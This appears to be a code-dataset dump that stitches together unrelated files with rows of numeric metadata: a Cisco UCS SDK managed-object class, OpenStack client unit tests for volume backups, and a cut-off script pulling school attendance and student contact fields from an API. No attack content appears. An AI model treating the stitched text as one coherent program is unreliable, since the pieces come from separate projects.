url = build_url(RESOURCE, id=fid)
return request("put", url, json=content)
| 22 | 56 | 0.680135 | 84 | 594 | 4.690476 | 0.47619 | 0.081218 | 0.083756 | 0.14467 | 0.187817 | 0.187817 | 0.187817 | 0.187817 | 0 | 0 | 0 | 0.004115 | 0.181818 | 594 | 26 | 57 | 22.846154 | 0.806584 | 0.23569 | 0 | 0.166667 | 0 | 0 | 0.044084 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.166667 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
5d563297bd65c98b09ae169bf6559deac3cbfe07 | 4,910 | py | Python | ucsmsdk/mometa/synthetic/SyntheticFile.py | anoop1984/python_sdk | c4a226bad5e10ad233eda62bc8f6d66a5a82b651 | [
"Apache-2.0"
] | null | null | null | ucsmsdk/mometa/synthetic/SyntheticFile.py | anoop1984/python_sdk | c4a226bad5e10ad233eda62bc8f6d66a5a82b651 | [
"Apache-2.0"
] | null | null | null | ucsmsdk/mometa/synthetic/SyntheticFile.py | anoop1984/python_sdk | c4a226bad5e10ad233eda62bc8f6d66a5a82b651 | [
"Apache-2.0"
] | null | null | null | """This module contains the general information for SyntheticFile ManagedObject."""
import sys, os
from ...ucsmo import ManagedObject
from ...ucscoremeta import UcsVersion, MoPropertyMeta, MoMeta
from ...ucsmeta import VersionMeta
class SyntheticFileConsts():
pass
class SyntheticFile(ManagedObject):
"""This is SyntheticFile class."""
consts = SyntheticFileConsts()
naming_props = set([u'ino'])
mo_meta = MoMeta("SyntheticFile", "syntheticFile", "file-[ino]", VersionMeta.Version101e, "InputOutput", 0xfffff, [], ["admin"], [u'syntheticDirectory'], [], ["Get"])
prop_meta = {
"atime": MoPropertyMeta("atime", "atime", "ulong", VersionMeta.Version101e, MoPropertyMeta.READ_WRITE, 0x2, None, None, None, [], []),
"blksize": MoPropertyMeta("blksize", "blksize", "ulong", VersionMeta.Version101e, MoPropertyMeta.READ_WRITE, 0x4, None, None, None, [], []),
"blocks": MoPropertyMeta("blocks", "blocks", "ulong", VersionMeta.Version101e, MoPropertyMeta.READ_WRITE, 0x8, None, None, None, [], []),
"child_action": MoPropertyMeta("child_action", "childAction", "string", VersionMeta.Version101e, MoPropertyMeta.INTERNAL, 0x10, None, None, r"""((deleteAll|ignore|deleteNonPresent),){0,2}(deleteAll|ignore|deleteNonPresent){0,1}""", [], []),
"ctime": MoPropertyMeta("ctime", "ctime", "ulong", VersionMeta.Version101e, MoPropertyMeta.READ_WRITE, 0x20, None, None, None, [], []),
"dev": MoPropertyMeta("dev", "dev", "uint", VersionMeta.Version101e, MoPropertyMeta.READ_WRITE, 0x40, None, None, None, [], []),
"dn": MoPropertyMeta("dn", "dn", "string", VersionMeta.Version101e, MoPropertyMeta.READ_ONLY, 0x80, 0, 256, None, [], []),
"gid": MoPropertyMeta("gid", "gid", "uint", VersionMeta.Version101e, MoPropertyMeta.READ_WRITE, 0x100, None, None, None, [], []),
"ino": MoPropertyMeta("ino", "ino", "ulong", VersionMeta.Version101e, MoPropertyMeta.NAMING, 0x200, None, None, None, [], []),
"mode": MoPropertyMeta("mode", "mode", "uint", VersionMeta.Version101e, MoPropertyMeta.READ_WRITE, 0x400, None, None, None, [], []),
"mtime": MoPropertyMeta("mtime", "mtime", "ulong", VersionMeta.Version101e, MoPropertyMeta.READ_WRITE, 0x800, None, None, None, [], []),
"name": MoPropertyMeta("name", "name", "string", VersionMeta.Version101e, MoPropertyMeta.READ_WRITE, 0x1000, 0, 510, None, [], []),
"nlink": MoPropertyMeta("nlink", "nlink", "uint", VersionMeta.Version101e, MoPropertyMeta.READ_WRITE, 0x2000, None, None, None, [], []),
"path": MoPropertyMeta("path", "path", "string", VersionMeta.Version101e, MoPropertyMeta.READ_WRITE, 0x4000, 0, 510, None, [], []),
"rdev": MoPropertyMeta("rdev", "rdev", "uint", VersionMeta.Version101e, MoPropertyMeta.READ_WRITE, 0x8000, None, None, None, [], []),
"rn": MoPropertyMeta("rn", "rn", "string", VersionMeta.Version101e, MoPropertyMeta.READ_ONLY, 0x10000, 0, 256, None, [], []),
"sacl": MoPropertyMeta("sacl", "sacl", "string", VersionMeta.Version302a, MoPropertyMeta.READ_ONLY, None, None, None, r"""((none|del|mod|addchild|cascade),){0,4}(none|del|mod|addchild|cascade){0,1}""", [], []),
"size": MoPropertyMeta("size", "size", "ulong", VersionMeta.Version101e, MoPropertyMeta.READ_WRITE, 0x20000, None, None, None, [], []),
"status": MoPropertyMeta("status", "status", "string", VersionMeta.Version101e, MoPropertyMeta.READ_WRITE, 0x40000, None, None, r"""((removed|created|modified|deleted),){0,3}(removed|created|modified|deleted){0,1}""", [], []),
"uid": MoPropertyMeta("uid", "uid", "uint", VersionMeta.Version101e, MoPropertyMeta.READ_WRITE, 0x80000, None, None, None, [], []),
}
prop_map = {
"atime": "atime",
"blksize": "blksize",
"blocks": "blocks",
"childAction": "child_action",
"ctime": "ctime",
"dev": "dev",
"dn": "dn",
"gid": "gid",
"ino": "ino",
"mode": "mode",
"mtime": "mtime",
"name": "name",
"nlink": "nlink",
"path": "path",
"rdev": "rdev",
"rn": "rn",
"sacl": "sacl",
"size": "size",
"status": "status",
"uid": "uid",
}
def __init__(self, parent_mo_or_dn, ino, **kwargs):
self._dirty_mask = 0
self.ino = ino
self.atime = None
self.blksize = None
self.blocks = None
self.child_action = None
self.ctime = None
self.dev = None
self.gid = None
self.mode = None
self.mtime = None
self.name = None
self.nlink = None
self.path = None
self.rdev = None
self.sacl = None
self.size = None
self.status = None
self.uid = None
ManagedObject.__init__(self, "SyntheticFile", parent_mo_or_dn, **kwargs)
| 54.555556 | 249 | 0.617108 | 496 | 4,910 | 6.024194 | 0.235887 | 0.080321 | 0.228916 | 0.227577 | 0.32095 | 0.30087 | 0 | 0 | 0 | 0 | 0 | 0.043511 | 0.199593 | 4,910 | 89 | 250 | 55.168539 | 0.716794 | 0.021589 | 0 | 0 | 0 | 0.04 | 0.184057 | 0.049875 | 0 | 0 | 0.021703 | 0 | 0 | 1 | 0.013333 | false | 0.013333 | 0.053333 | 0 | 0.16 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
5d57bf609b04eaf40e42c317c7552f4a61fa7b28 | 25,860 | py | Python | openstackclient/tests/unit/volume/v2/test_volume_backup.py | mydevice/python-openstackclient | 4891bb38208fdcd1a2ae60e47b056841e14fbdf7 | [
"Apache-2.0"
] | null | null | null | openstackclient/tests/unit/volume/v2/test_volume_backup.py | mydevice/python-openstackclient | 4891bb38208fdcd1a2ae60e47b056841e14fbdf7 | [
"Apache-2.0"
] | null | null | null | openstackclient/tests/unit/volume/v2/test_volume_backup.py | mydevice/python-openstackclient | 4891bb38208fdcd1a2ae60e47b056841e14fbdf7 | [
"Apache-2.0"
] | null | null | null | #
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
#
from unittest import mock
from unittest.mock import call
from cinderclient import api_versions
from osc_lib import exceptions
from osc_lib import utils
from openstackclient.tests.unit.volume.v2 import fakes as volume_fakes
from openstackclient.volume.v2 import volume_backup
class TestBackup(volume_fakes.TestVolume):
def setUp(self):
super(TestBackup, self).setUp()
self.backups_mock = self.app.client_manager.volume.backups
self.backups_mock.reset_mock()
self.volumes_mock = self.app.client_manager.volume.volumes
self.volumes_mock.reset_mock()
self.snapshots_mock = self.app.client_manager.volume.volume_snapshots
self.snapshots_mock.reset_mock()
self.restores_mock = self.app.client_manager.volume.restores
self.restores_mock.reset_mock()
class TestBackupCreate(TestBackup):
volume = volume_fakes.FakeVolume.create_one_volume()
snapshot = volume_fakes.FakeSnapshot.create_one_snapshot()
new_backup = volume_fakes.FakeBackup.create_one_backup(
attrs={'volume_id': volume.id, 'snapshot_id': snapshot.id})
columns = (
'availability_zone',
'container',
'description',
'id',
'name',
'object_count',
'size',
'snapshot_id',
'status',
'volume_id',
)
data = (
new_backup.availability_zone,
new_backup.container,
new_backup.description,
new_backup.id,
new_backup.name,
new_backup.object_count,
new_backup.size,
new_backup.snapshot_id,
new_backup.status,
new_backup.volume_id,
)
def setUp(self):
super(TestBackupCreate, self).setUp()
self.volumes_mock.get.return_value = self.volume
self.snapshots_mock.get.return_value = self.snapshot
self.backups_mock.create.return_value = self.new_backup
# Get the command object to test
self.cmd = volume_backup.CreateVolumeBackup(self.app, None)
def test_backup_create(self):
arglist = [
"--name", self.new_backup.name,
"--description", self.new_backup.description,
"--container", self.new_backup.container,
"--force",
"--incremental",
"--snapshot", self.new_backup.snapshot_id,
self.new_backup.volume_id,
]
verifylist = [
("name", self.new_backup.name),
("description", self.new_backup.description),
("container", self.new_backup.container),
("force", True),
("incremental", True),
("snapshot", self.new_backup.snapshot_id),
("volume", self.new_backup.volume_id),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
columns, data = self.cmd.take_action(parsed_args)
self.backups_mock.create.assert_called_with(
self.new_backup.volume_id,
container=self.new_backup.container,
name=self.new_backup.name,
description=self.new_backup.description,
force=True,
incremental=True,
snapshot_id=self.new_backup.snapshot_id,
)
self.assertEqual(self.columns, columns)
self.assertEqual(self.data, data)
def test_backup_create_with_properties(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.43')
arglist = [
"--property", "foo=bar",
"--property", "wow=much-cool",
self.new_backup.volume_id,
]
verifylist = [
("properties", {"foo": "bar", "wow": "much-cool"}),
("volume", self.new_backup.volume_id),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
columns, data = self.cmd.take_action(parsed_args)
self.backups_mock.create.assert_called_with(
self.new_backup.volume_id,
container=None,
name=None,
description=None,
force=False,
incremental=False,
metadata={"foo": "bar", "wow": "much-cool"},
)
self.assertEqual(self.columns, columns)
self.assertEqual(self.data, data)
def test_backup_create_with_properties_pre_v343(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.42')
arglist = [
"--property", "foo=bar",
"--property", "wow=much-cool",
self.new_backup.volume_id,
]
verifylist = [
("properties", {"foo": "bar", "wow": "much-cool"}),
("volume", self.new_backup.volume_id),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
exc = self.assertRaises(
exceptions.CommandError,
self.cmd.take_action,
parsed_args)
self.assertIn("--os-volume-api-version 3.43 or greater", str(exc))
def test_backup_create_with_availability_zone(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.51')
arglist = [
"--availability-zone", "my-az",
self.new_backup.volume_id,
]
verifylist = [
("availability_zone", "my-az"),
("volume", self.new_backup.volume_id),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
columns, data = self.cmd.take_action(parsed_args)
self.backups_mock.create.assert_called_with(
self.new_backup.volume_id,
container=None,
name=None,
description=None,
force=False,
incremental=False,
availability_zone="my-az",
)
self.assertEqual(self.columns, columns)
self.assertEqual(self.data, data)
def test_backup_create_with_availability_zone_pre_v351(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.50')
arglist = [
"--availability-zone", "my-az",
self.new_backup.volume_id,
]
verifylist = [
("availability_zone", "my-az"),
("volume", self.new_backup.volume_id),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
exc = self.assertRaises(
exceptions.CommandError,
self.cmd.take_action,
parsed_args)
self.assertIn("--os-volume-api-version 3.51 or greater", str(exc))
def test_backup_create_without_name(self):
arglist = [
"--description", self.new_backup.description,
"--container", self.new_backup.container,
self.new_backup.volume_id,
]
verifylist = [
("description", self.new_backup.description),
("container", self.new_backup.container),
("volume", self.new_backup.volume_id),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
columns, data = self.cmd.take_action(parsed_args)
self.backups_mock.create.assert_called_with(
self.new_backup.volume_id,
container=self.new_backup.container,
name=None,
description=self.new_backup.description,
force=False,
incremental=False,
)
self.assertEqual(self.columns, columns)
self.assertEqual(self.data, data)
class TestBackupDelete(TestBackup):
backups = volume_fakes.FakeBackup.create_backups(count=2)
def setUp(self):
super(TestBackupDelete, self).setUp()
self.backups_mock.get = (
volume_fakes.FakeBackup.get_backups(self.backups))
self.backups_mock.delete.return_value = None
# Get the command object to mock
self.cmd = volume_backup.DeleteVolumeBackup(self.app, None)
def test_backup_delete(self):
arglist = [
self.backups[0].id
]
verifylist = [
("backups", [self.backups[0].id])
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
result = self.cmd.take_action(parsed_args)
self.backups_mock.delete.assert_called_with(
self.backups[0].id, False)
self.assertIsNone(result)
def test_backup_delete_with_force(self):
arglist = [
'--force',
self.backups[0].id,
]
verifylist = [
('force', True),
("backups", [self.backups[0].id])
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
result = self.cmd.take_action(parsed_args)
self.backups_mock.delete.assert_called_with(self.backups[0].id, True)
self.assertIsNone(result)
def test_delete_multiple_backups(self):
arglist = []
for b in self.backups:
arglist.append(b.id)
verifylist = [
('backups', arglist),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
result = self.cmd.take_action(parsed_args)
calls = []
for b in self.backups:
calls.append(call(b.id, False))
self.backups_mock.delete.assert_has_calls(calls)
self.assertIsNone(result)
def test_delete_multiple_backups_with_exception(self):
arglist = [
self.backups[0].id,
'unexist_backup',
]
verifylist = [
('backups', arglist),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
find_mock_result = [self.backups[0], exceptions.CommandError]
with mock.patch.object(utils, 'find_resource',
side_effect=find_mock_result) as find_mock:
try:
self.cmd.take_action(parsed_args)
self.fail('CommandError should be raised.')
except exceptions.CommandError as e:
self.assertEqual('1 of 2 backups failed to delete.',
str(e))
find_mock.assert_any_call(self.backups_mock, self.backups[0].id)
find_mock.assert_any_call(self.backups_mock, 'unexist_backup')
self.assertEqual(2, find_mock.call_count)
self.backups_mock.delete.assert_called_once_with(
self.backups[0].id, False
)
class TestBackupList(TestBackup):
volume = volume_fakes.FakeVolume.create_one_volume()
backups = volume_fakes.FakeBackup.create_backups(
attrs={'volume_id': volume.name}, count=3)
columns = (
'ID',
'Name',
'Description',
'Status',
'Size',
)
columns_long = columns + (
'Availability Zone',
'Volume',
'Container',
)
data = []
for b in backups:
data.append((
b.id,
b.name,
b.description,
b.status,
b.size,
))
data_long = []
for b in backups:
data_long.append((
b.id,
b.name,
b.description,
b.status,
b.size,
b.availability_zone,
volume_backup.VolumeIdColumn(b.volume_id),
b.container,
))
def setUp(self):
super(TestBackupList, self).setUp()
self.volumes_mock.list.return_value = [self.volume]
self.backups_mock.list.return_value = self.backups
self.volumes_mock.get.return_value = self.volume
self.backups_mock.get.return_value = self.backups[0]
# Get the command to test
self.cmd = volume_backup.ListVolumeBackup(self.app, None)
def test_backup_list_without_options(self):
arglist = []
verifylist = [
("long", False),
("name", None),
("status", None),
("volume", None),
("marker", None),
("limit", None),
('all_projects', False),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
columns, data = self.cmd.take_action(parsed_args)
search_opts = {
"name": None,
"status": None,
"volume_id": None,
'all_tenants': False,
}
self.volumes_mock.get.assert_not_called()
self.backups_mock.get.assert_not_called()
self.backups_mock.list.assert_called_with(
search_opts=search_opts,
marker=None,
limit=None,
)
self.assertEqual(self.columns, columns)
self.assertItemsEqual(self.data, list(data))
def test_backup_list_with_options(self):
arglist = [
"--long",
"--name", self.backups[0].name,
"--status", "error",
"--volume", self.volume.id,
"--marker", self.backups[0].id,
"--all-projects",
"--limit", "3",
]
verifylist = [
("long", True),
("name", self.backups[0].name),
("status", "error"),
("volume", self.volume.id),
("marker", self.backups[0].id),
('all_projects', True),
("limit", 3),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
columns, data = self.cmd.take_action(parsed_args)
search_opts = {
"name": self.backups[0].name,
"status": "error",
"volume_id": self.volume.id,
'all_tenants': True,
}
self.volumes_mock.get.assert_called_once_with(self.volume.id)
self.backups_mock.get.assert_called_once_with(self.backups[0].id)
self.backups_mock.list.assert_called_with(
search_opts=search_opts,
marker=self.backups[0].id,
limit=3,
)
self.assertEqual(self.columns_long, columns)
self.assertItemsEqual(self.data_long, list(data))
class TestBackupRestore(TestBackup):
volume = volume_fakes.FakeVolume.create_one_volume()
backup = volume_fakes.FakeBackup.create_one_backup(
attrs={'volume_id': volume.id})
def setUp(self):
super(TestBackupRestore, self).setUp()
self.backups_mock.get.return_value = self.backup
self.volumes_mock.get.return_value = self.volume
self.restores_mock.restore.return_value = (
volume_fakes.FakeVolume.create_one_volume(
{'id': self.volume['id']}))
# Get the command object to mock
self.cmd = volume_backup.RestoreVolumeBackup(self.app, None)
def test_backup_restore(self):
arglist = [
self.backup.id,
self.backup.volume_id
]
verifylist = [
("backup", self.backup.id),
("volume", self.backup.volume_id)
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
result = self.cmd.take_action(parsed_args)
self.restores_mock.restore.assert_called_with(self.backup.id,
self.backup.volume_id)
self.assertIsNotNone(result)
class TestBackupSet(TestBackup):
backup = volume_fakes.FakeBackup.create_one_backup(
attrs={'metadata': {'wow': 'cool'}},
)
def setUp(self):
super(TestBackupSet, self).setUp()
self.backups_mock.get.return_value = self.backup
# Get the command object to test
self.cmd = volume_backup.SetVolumeBackup(self.app, None)
def test_backup_set_name(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.9')
arglist = [
'--name', 'new_name',
self.backup.id,
]
verifylist = [
('name', 'new_name'),
('backup', self.backup.id),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
# In base command class ShowOne in cliff, abstract method take_action()
# returns nothing
result = self.cmd.take_action(parsed_args)
self.backups_mock.update.assert_called_once_with(
self.backup.id, **{'name': 'new_name'})
self.assertIsNone(result)
def test_backup_set_name_pre_v39(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.8')
arglist = [
'--name', 'new_name',
self.backup.id,
]
verifylist = [
('name', 'new_name'),
('backup', self.backup.id),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
exc = self.assertRaises(
exceptions.CommandError,
self.cmd.take_action,
parsed_args)
self.assertIn("--os-volume-api-version 3.9 or greater", str(exc))
def test_backup_set_description(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.9')
arglist = [
'--description', 'new_description',
self.backup.id,
]
verifylist = [
('name', None),
('description', 'new_description'),
('backup', self.backup.id),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
result = self.cmd.take_action(parsed_args)
# Set expected values
kwargs = {
'description': 'new_description'
}
self.backups_mock.update.assert_called_once_with(
self.backup.id,
**kwargs
)
self.assertIsNone(result)
def test_backup_set_description_pre_v39(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.8')
arglist = [
'--description', 'new_description',
self.backup.id,
]
verifylist = [
('name', None),
('description', 'new_description'),
('backup', self.backup.id),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
exc = self.assertRaises(
exceptions.CommandError,
self.cmd.take_action,
parsed_args)
self.assertIn("--os-volume-api-version 3.9 or greater", str(exc))
def test_backup_set_state(self):
arglist = [
'--state', 'error',
self.backup.id
]
verifylist = [
('state', 'error'),
('backup', self.backup.id)
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
result = self.cmd.take_action(parsed_args)
self.backups_mock.reset_state.assert_called_once_with(
self.backup.id, 'error')
self.assertIsNone(result)
def test_backup_set_state_failed(self):
self.backups_mock.reset_state.side_effect = exceptions.CommandError()
arglist = [
'--state', 'error',
self.backup.id
]
verifylist = [
('state', 'error'),
('backup', self.backup.id)
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
try:
self.cmd.take_action(parsed_args)
self.fail('CommandError should be raised.')
except exceptions.CommandError as e:
self.assertEqual('One or more of the set operations failed',
str(e))
self.backups_mock.reset_state.assert_called_with(
self.backup.id, 'error')
def test_backup_set_no_property(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.43')
arglist = [
'--no-property',
self.backup.id,
]
verifylist = [
('no_property', True),
('backup', self.backup.id),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
result = self.cmd.take_action(parsed_args)
# Set expected values
kwargs = {
'metadata': {},
}
self.backups_mock.update.assert_called_once_with(
self.backup.id,
**kwargs
)
self.assertIsNone(result)
def test_backup_set_no_property_pre_v343(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.42')
arglist = [
'--no-property',
self.backup.id,
]
verifylist = [
('no_property', True),
('backup', self.backup.id),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
exc = self.assertRaises(
exceptions.CommandError,
self.cmd.take_action,
parsed_args)
self.assertIn("--os-volume-api-version 3.43 or greater", str(exc))
def test_backup_set_property(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.43')
arglist = [
'--property', 'foo=bar',
self.backup.id,
]
verifylist = [
('properties', {'foo': 'bar'}),
('backup', self.backup.id),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
result = self.cmd.take_action(parsed_args)
# Set expected values
kwargs = {
'metadata': {'wow': 'cool', 'foo': 'bar'},
}
self.backups_mock.update.assert_called_once_with(
self.backup.id,
**kwargs
)
self.assertIsNone(result)
def test_backup_set_property_pre_v343(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.42')
arglist = [
'--property', 'foo=bar',
self.backup.id,
]
verifylist = [
('properties', {'foo': 'bar'}),
('backup', self.backup.id),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
exc = self.assertRaises(
exceptions.CommandError,
self.cmd.take_action,
parsed_args)
self.assertIn("--os-volume-api-version 3.43 or greater", str(exc))
class TestBackupUnset(TestBackup):
backup = volume_fakes.FakeBackup.create_one_backup(
attrs={'metadata': {'foo': 'bar'}},
)
def setUp(self):
super().setUp()
self.backups_mock.get.return_value = self.backup
# Get the command object to test
self.cmd = volume_backup.UnsetVolumeBackup(self.app, None)
def test_backup_unset_property(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.43')
arglist = [
'--property', 'foo',
self.backup.id,
]
verifylist = [
('properties', ['foo']),
('backup', self.backup.id),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
result = self.cmd.take_action(parsed_args)
# Set expected values
kwargs = {
'metadata': {},
}
self.backups_mock.update.assert_called_once_with(
self.backup.id,
**kwargs
)
self.assertIsNone(result)
def test_backup_unset_property_pre_v343(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.42')
arglist = [
'--property', 'foo',
self.backup.id,
]
verifylist = [
('properties', ['foo']),
('backup', self.backup.id),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
exc = self.assertRaises(
exceptions.CommandError,
self.cmd.take_action,
parsed_args)
self.assertIn("--os-volume-api-version 3.43 or greater", str(exc))
class TestBackupShow(TestBackup):
backup = volume_fakes.FakeBackup.create_one_backup()
columns = (
'availability_zone',
'container',
'description',
'id',
'name',
'object_count',
'size',
'snapshot_id',
'status',
'volume_id',
)
data = (
backup.availability_zone,
backup.container,
backup.description,
backup.id,
backup.name,
backup.object_count,
backup.size,
backup.snapshot_id,
backup.status,
backup.volume_id,
)
def setUp(self):
super(TestBackupShow, self).setUp()
self.backups_mock.get.return_value = self.backup
# Get the command object to test
self.cmd = volume_backup.ShowVolumeBackup(self.app, None)
def test_backup_show(self):
arglist = [
self.backup.id
]
verifylist = [
("backup", self.backup.id)
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
columns, data = self.cmd.take_action(parsed_args)
self.backups_mock.get.assert_called_with(self.backup.id)
self.assertEqual(self.columns, columns)
self.assertEqual(self.data, data)
| 30.933014 | 79 | 0.577533 | 2,771 | 25,860 | 5.183688 | 0.084807 | 0.028752 | 0.04386 | 0.034392 | 0.787872 | 0.746171 | 0.682957 | 0.651072 | 0.610763 | 0.601782 | 0 | 0.006037 | 0.308198 | 25,860 | 835 | 80 | 30.97006 | 0.79687 | 0.035344 | 0 | 0.573333 | 0 | 0 | 0.082153 | 0.006461 | 0 | 0 | 0 | 0 | 0.097778 | 1 | 0.05037 | false | 0 | 0.01037 | 0 | 0.100741 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
5d66ebf8f5dbc18e28341227b3d156b110309d9b | 8,967 | py | Python | attendance/attendance_advisor_emails.py | tophermckee/python_lca_data | 0d0edd42976410280e41205fcc46015af142a9ac | [
"Unlicense"
] | null | null | null | attendance/attendance_advisor_emails.py | tophermckee/python_lca_data | 0d0edd42976410280e41205fcc46015af142a9ac | [
"Unlicense"
] | null | null | null | attendance/attendance_advisor_emails.py | tophermckee/python_lca_data | 0d0edd42976410280e41205fcc46015af142a9ac | [
"Unlicense"
] | null | null | null | import sys
sys.path.append("..")
from util.utilities import *
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
datefmt='%B-%d-%Y %H:%M:%S',
filename=f"../logs/{Path(__file__).stem}.log",
filemode='w'
)
def send_advisor_attendance_emails():
start_date = '2022-01-24'
today = datetime.datetime.now().strftime('%Y-%m-%d')
database = {}
counter = 1
absences = sr_api_pull(
'absences',
parameters = {
'active': '1',
'school_ids': '15',
'min_date': start_date,
'max_date': today,
'expand': 'absence_type, student.grade_level'
}
)
staff = sr_api_pull(
'staff-members',
parameters = {
'school_ids': 15,
'active': 1
}
)
communications = sr_api_pull(
'communications',
parameters = {
'school_ids': 15,
'min_date': start_date,
'max_date': today,
'communication_method_ids': '12,17',
'expand': 'communication_method'
}
)
interventions = sr_api_pull(
'interventions',
parameters = {
'school_ids': 15,
'min_start_date': start_date,
'expand': 'intervention_type'
}
)
students = sr_api_pull(
'students',
parameters = {
'active': 1,
'school_ids': 15,
'expand': 'grade_level, student_detail, student_attrs.student_attr_type'
}
)
for student in students:
logging.info(f"{counter}. Processing for {student['first_name']} {student['last_name']} -- {datetime.datetime.now().strftime('%I:%M:%S')}")
database[student['student_id']] = {}
database[student['student_id']]['lca_id'] = student['sis_id']
database[student['student_id']]['first_name'] = student['first_name']
database[student['student_id']]['last_name'] = student['last_name']
database[student['student_id']]['grade_level'] = student['grade_level']['order_key']
database[student['student_id']]['tu'] = 0
database[student['student_id']]['au'] = 0
database[student['student_id']]['aeo'] = 0
database[student['student_id']]['aep'] = 0
database[student['student_id']]['oss'] = 0
database[student['student_id']]['iss'] = 0
database[student['student_id']]['calls_logged'] = 0
database[student['student_id']]['meetings_held'] = 0
database[student['student_id']]['truancy_referrals'] = 0
database[student['student_id']]['action1'] = ''
database[student['student_id']]['action2'] = ''
database[student['student_id']]['3au_letters'] = 0
database[student['student_id']]['4au_letters'] = 0
database[student['student_id']]['5au_letters'] = 0
database[student['student_id']]['email'] = return_attribute('student_email', student['student_attrs'])
database[student['student_id']]['advisory'] = return_attribute('advisory', student['student_attrs'])
database[student['student_id']]['advisor'] = return_attribute('Advisor', student['student_attrs'])
database[student['student_id']]['advisor_email'] = return_staff_email(database[student['student_id']]['advisor'], staff)
database[student['student_id']]['street'] = student['student_detail']['mailing_street']
database[student['student_id']]['city'] = student['student_detail']['mailing_city']
database[student['student_id']]['state'] = student['student_detail']['mailing_state']
database[student['student_id']]['zip'] = student['student_detail']['mailing_zip']
database[student['student_id']]['p1_email'] = return_attribute('Primary_1_Email', student['student_attrs'])
database[student['student_id']]['p1_cell'] = return_attribute('Primary_1_Cell', student['student_attrs'])
database[student['student_id']]['student_cell'] = return_attribute('scholar_cell', student['student_attrs'])
for absence in absences:
if absence['student_id'] == student['student_id'] and absence['absence_type']['code'] == 'TU':
database[student['student_id']]['tu'] += 1
if absence['student_id'] == student['student_id'] and absence['absence_type']['code'] == 'AU':
database[student['student_id']]['au'] += 1
if absence['student_id'] == student['student_id'] and absence['absence_type']['code'] == 'AEO':
database[student['student_id']]['aeo'] += 1
if absence['student_id'] == student['student_id'] and absence['absence_type']['code'] == 'AEP':
database[student['student_id']]['aep'] += 1
if absence['student_id'] == student['student_id'] and absence['absence_type']['code'] == 'OSS':
database[student['student_id']]['oss'] += 1
if absence['student_id'] == student['student_id'] and absence['absence_type']['code'] == 'ISS':
database[student['student_id']]['iss'] += 1
for communication in communications:
try:
if communication['student_id'] == student['student_id'] and communication['communication_method']['display_name'] == 'Call' and 'attendance' in communication['comments'].lower():
database[student['student_id']]['calls_logged'] += 1
except:
continue
if communication['student_id'] == student['student_id'] and communication['communication_method']['display_name'] == 'Letter' and communication['comments'] == '3 AU Attendance Letter':
database[student['student_id']]['3au_letters'] += 1
if communication['student_id'] == student['student_id'] and communication['communication_method']['display_name'] == 'Letter' and communication['comments'] == '4 AU Attendance Letter':
database[student['student_id']]['4au_letters'] += 1
